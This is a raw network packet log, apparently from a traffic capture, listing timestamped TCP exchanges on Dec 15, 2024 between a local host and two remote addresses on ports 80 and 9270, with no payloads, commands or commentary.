Dec 15, 2024 11:59:32.192300081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.192347050 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.192459106 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.192502975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.193619013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.193666935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.193789959 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.193830967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.194962025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.194996119 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.195010900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.195035934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.195992947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.196038008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.196156979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.196196079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.197127104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.197170019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.197284937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.197320938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.197827101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.197860956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.197865963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.197897911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.198321104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.198364019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.198405981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.198442936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.201726913 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.201785088 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.202049971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.202092886 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.202935934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.202969074 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.202980042 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.203003883 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.203006983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.203037024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.203037024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.203074932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.204292059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.204339027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.204453945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.204493999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.205266953 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.205307961 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.205447912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.205485106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.206408024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.206449986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.206577063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.206618071 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.207547903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.207587004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.207720041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.207762003 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.208695889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.208741903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.208858967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.208899021 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.209908962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.209950924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.210052013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.210093021 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.211160898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.211205006 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.211344004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.211383104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.212378979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.212413073 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.212423086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.212445974 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.213577986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.213613033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.213618040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.213646889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.214745998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.214790106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.214912891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.214948893 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.215770960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.215814114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.215934038 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.215972900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.216944933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.216999054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.217120886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.217158079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.218148947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.218194008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.218242884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.218280077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.219479084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.219512939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.219520092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.219547987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.220485926 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.220524073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.220643997 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.220680952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.221782923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.221817017 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.221820116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.221851110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.222898006 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.222932100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.222939968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.222970963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.224056005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.224102020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.224220037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.224257946 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.225264072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.225297928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.225307941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.225332975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.226248980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.226289034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.226402998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.226440907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.227448940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.227484941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.227627993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.227664948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.228831053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.228864908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.228872061 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.228900909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.230011940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.230046034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.230055094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.230079889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.231373072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.231415033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.231508970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.231544971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.232235909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.232276917 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.232428074 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.232462883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.233413935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.233460903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.233599901 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.233647108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.234611988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.234644890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.234659910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.234682083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.235421896 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.235455990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.235467911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.235491991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.235905886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.235958099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.236041069 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.236079931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.238744020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.238796949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.242372036 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:32.244188070 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:32.365266085 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:32.368705988 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:32.368926048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.368995905 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.369221926 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.369271040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.369374037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.369412899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.369587898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.369625092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.370531082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.370567083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.370573997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.370608091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.371664047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.371706963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.371814966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.371850967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.373291969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.373326063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.373332024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.373361111 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.374264956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.374303102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.374420881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.374458075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.375562906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.375597954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.375603914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.375633001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.376355886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.376394987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.376519918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.376554966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.377583027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.377623081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.377753019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.377787113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.378640890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.378685951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.378808975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.378844976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.379946947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.379988909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.380110979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.380148888 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.381534100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.381588936 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.381711960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.381752014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.382143021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.382184982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.382317066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.382354975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.383304119 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.383353949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.383510113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.383548021 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.384345055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.384380102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.384392977 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.384416103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.384507895 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.384543896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.384617090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.384651899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.387087107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.387139082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.388231993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.388273001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.389410019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.389444113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.389453888 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.389477968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.389588118 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.389620066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.389626026 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.389667988 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.390471935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.390518904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.390592098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.390628099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.391824007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.391859055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.391866922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.391894102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.392930984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.392965078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.392986059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.393002033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.394054890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.394099951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.394969940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.395010948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.395345926 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.395381927 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.395500898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.395534992 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.396816015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.396845102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.396868944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.396882057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.397551060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.397620916 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.397764921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.397800922 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.398777008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.398825884 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.398952961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.398992062 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.399848938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.399895906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.400094032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.400130987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.401076078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.401093960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.401123047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.401138067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.402237892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.402255058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.402276993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.402292013 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.403537035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.403553009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.403577089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.403593063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.404586077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.404625893 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.404747963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.404781103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.405807018 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.405844927 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.406032085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.406068087 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.407021046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.407037020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.407073975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.407088041 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.408179045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.408220053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.408365011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.408400059 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.409316063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.409363031 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.409487009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.409528017 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.410484076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.410531044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.410804987 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.410842896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.411617994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.411659956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.411791086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.411824942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.412822962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.412864923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.413357019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.413394928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.414032936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.414081097 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.414206028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.414241076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.415138960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.415184021 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.416182041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.416224957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.416645050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.416701078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.416806936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.416842937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.417577028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.417629957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.417752981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.417785883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.418509007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.418546915 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.418879032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.418920040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.419847012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.419887066 CET	49805	80	192.168.2.4	31.41.244.11
